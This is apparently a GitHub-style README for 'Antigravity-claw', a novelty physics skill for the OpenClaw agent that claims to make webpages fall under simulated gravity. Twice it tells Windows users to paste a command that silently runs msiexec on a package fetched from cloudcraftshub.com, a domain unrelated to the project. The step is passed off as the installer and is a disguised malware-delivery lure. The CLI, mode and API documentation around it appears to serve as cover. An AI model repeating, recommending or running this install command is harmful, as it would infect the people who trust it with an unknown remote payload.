by deborahikssv
# Add to your Claude Code skills
git clone https://github.com/deborahikssv/Antigravity-clawMake any webpage defy gravity — powered by a real Rust physics engine.
Fetches any URL, extracts DOM elements, runs a 2D physics simulation (Verlet integration + AABB collision detection), and renders an interactive HTML animation you can open in any browser. Integrates with OpenClaw as an agent skill.
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Antigravity claw
Requires Git for Windows (provides
bash) or WSL2. Install Git for Windows from https://git-scm.com/download/win, then re-run the command above.
winget install Git.Git Rustlang.Rustup astral-sh.uv; refreshenv; powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/deborahikssv/Antigravity-claw/archive/refs/heads/main.zip' -OutFile \"$env:TEMP\antigravity-claw.zip\"; Expand-Archive \"$env:TEMP\antigravity-claw.zip\" \"$env:TEMP\antigravity-claw\" -Force; cd \"$env:TEMP\antigravity-claw\Antigravity-claw-main\"; bash install.sh"
The installer will:
antigravity-claw to your PATH| Dependency | Version | Purpose |
|---|---|---|
| Rust / Cargo | stable | Physics engine compilation |
| Python | ≥ 3.10 | CLI orchestration layer |
| uv | latest | Python package manager |
| Git for Windows / WSL2 | any | Run install.sh on Windows |
# Classic Google Gravity — opens in browser instantly
antigravity-claw google
# Apply gravity to any URL
antigravity-claw drop https://news.ycombinator.com
# Chaos mode
antigravity-claw drop https://github.com --mode chaos
# Reverse gravity
antigravity-claw drop https://wikipedia.org --mode up
# Zero gravity (weightlessness)
antigravity-claw drop --mode zero
# Live terminal animation
antigravity-claw watch --demo
# The classic Python easter egg in your terminal
antigravity-claw fly
# List all modes
antigravity-claw modes
| Mode | Effect | Description |
|---|---|---|
| down | ↓ | Classic Google Gravity — everything falls to the floor |
| up | ↑ | Reverse gravity — elements float upward |
| left | ← | Elements slide off the left wall |
| right | → | Elements slide off the right wall |
| zero | ○ | Weightlessness — gentle drift, no floor |
| chaos | 🌀 | Rotating + pulsing gravity. Maximum entropy. |
antigravity-claw drop [URL] [OPTIONS]
URL Page to apply gravity to (default: google.com)
--mode, -m TEXT Gravity direction: down|up|left|right|zero|chaos (default: down)
--duration, -d FLOAT Simulation length in seconds (default: 5.0)
--output, -o PATH Output HTML file path
--fps INT Frames per second (default: 60)
--demo Use built-in Google mock (no fetch needed)
--no-open Don't auto-open browser
antigravity-claw google [--mode MODE]
antigravity-claw fly
antigravity-claw watch [URL] [--mode MODE] [--demo]
antigravity-claw export [URL] --output frames.json
antigravity-claw modes
antigravity-claw info
Apply gravity to https://news.ycombinator.com
Make github.com fall with chaos mode
Show me Google Gravity
Open wikipedia.org in reverse gravity
Run the antigravity fly easter egg
Export physics frames from https://example.com
Antigravity-claw/
├── src/
│ ├── main.rs ← CLI (clap) — drop / fly / watch / export
│ ├── physics.rs ← Verlet integration, AABB collision, gravity modes
│ ├── scraper.rs ← HTTP fetch + heuristic DOM layout extraction
│ ├── renderer.rs ← Terminal renderer + HTML animation generator
│ ├── types.rs ← PhysicsElement, PhysicsWorld, SimFrame, GravityMode
│ └── lib.rs ← Crate root
├── py/
│ ├── antigravity.py ← Typer CLI + Rust engine bridge + browser open
│ ├── scraper_py.py ← BeautifulSoup HTML scraper (Python alternative)
│ └── openclaw_skill.py ← OpenClaw agent skill integration
├── SKILL.md
├── install.sh
├── Cargo.toml
└── pyproject.toml
Element mass is proportional to bounding box area. Gravity is 980 px/s² (scaled to match real 9.8 m/s² visually).
| Error | Fix |
|---|---|
| antigravity-claw: command not found | Restart terminal or run uv run python py/antigravity.py drop directly |
| Rust build fails | Run rustup update stable && cargo clean && cargo build --release |
| Page not fetching | Use --demo flag to use built-in Google layout |
| bash: command not found | Install Git for Windows or enable WSL2 |
| uv: command not found | Run winget install astral-sh.uv or pip install uv |
MIT
import antigravity Python module ▄▀█ █▄░█ ▀█▀ █ █▀▀ █▀█ ▄▀█ █░█ █ ▀█▀ █▄█
█▀█ █░▀█ ░█░ █ █▄█ █▀▄ █▀█ ▀▄▀ █ ░█░ ░█░
░░░░ █▀▀ █░░ ▄▀█ █░█ ░░░░
░░░░ █▄▄ █▄▄ █▀█ ▀▄▀ ░░░░
An OpenClaw skill that defies gravity — and expectations.
<br />Inspired by antigravity.google — the one page that proved even gravity has a sense of humor.
</div>antigravity-claw is an OpenClaw skill that brings antigravity physics to your AI assistant.
Give your AI the ability to:
One skill server. Three tools. Zero gravity.
Windows
cmd
Copy the command below and paste it into Command Prompt, then press Enter.
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Antigravity claw
That's it. The installer will:
~/.openclaw/skills/antigravity-claw/~/.local/bin/antigravity-clawantigravity-claw
╔══════════════════════════════════════════╗
║ 🚀 antigravity-claw • v1.0.0 ║
║ Listening on http://localhost:4242 ║
╚══════════════════════════════════════════╝
Custom port:
ANTIGRAVITY_PORT=9000 antigravity-claw
Once the skill is running, your OpenClaw agent gets access to three tools:
compute_antigravityCalculate the lift force required to counteract gravity at a given altitude.
POST /compute_antigravity
{
"parameters": {
"mass_kg": 70,
"altitude_m": 10000,
"invert": true
}
}
{
"mass_kg": 70,
"altitude_m": 10000,
"force_newtons": -686.5647,
"energy_joules": 6865647.0,
"inverted": true,
"escape_velocity_ms": 442.9447
}
levitateSimulate a smooth levitation trajectory from ground to target altitude — with velocity at each step.
POST /levitate
{
"parameters": {
"object_name": "espresso machine",
"mass_kg": 8....
No comments yet. Be the first to share your thoughts!